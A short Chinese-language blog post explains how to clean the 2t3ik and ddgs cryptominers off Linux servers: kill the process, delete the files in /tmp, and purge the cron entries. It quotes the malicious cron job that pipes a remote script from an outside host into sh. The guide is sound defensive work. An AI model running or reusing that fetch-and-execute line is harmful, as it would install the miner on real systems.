1. 程式人生 > >linux服務被植入挖礦(2t3ik與ddgs)解決方式

linux服務被植入挖礦(2t3ik與ddgs)解決方式

已處理過多臺伺服器,目前沒再被植入挖礦,按照以下步驟可行:

1、安裝防毒軟體ClamAV

2、刪除挖礦植入的程式碼、定時任務

a、檢視佔有記憶體高的程序,

top

b、刪除對應的程序

kill -9 ID

c、刪除tmp下對應的檔案

rm -rf  /tmp/檔案2t3ik與ddgs

e、檢查/var/spool/cron/root 和 /var/spool/cron/crontabs/root 
刪除自動執行命令 
/10 * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh

參考內容: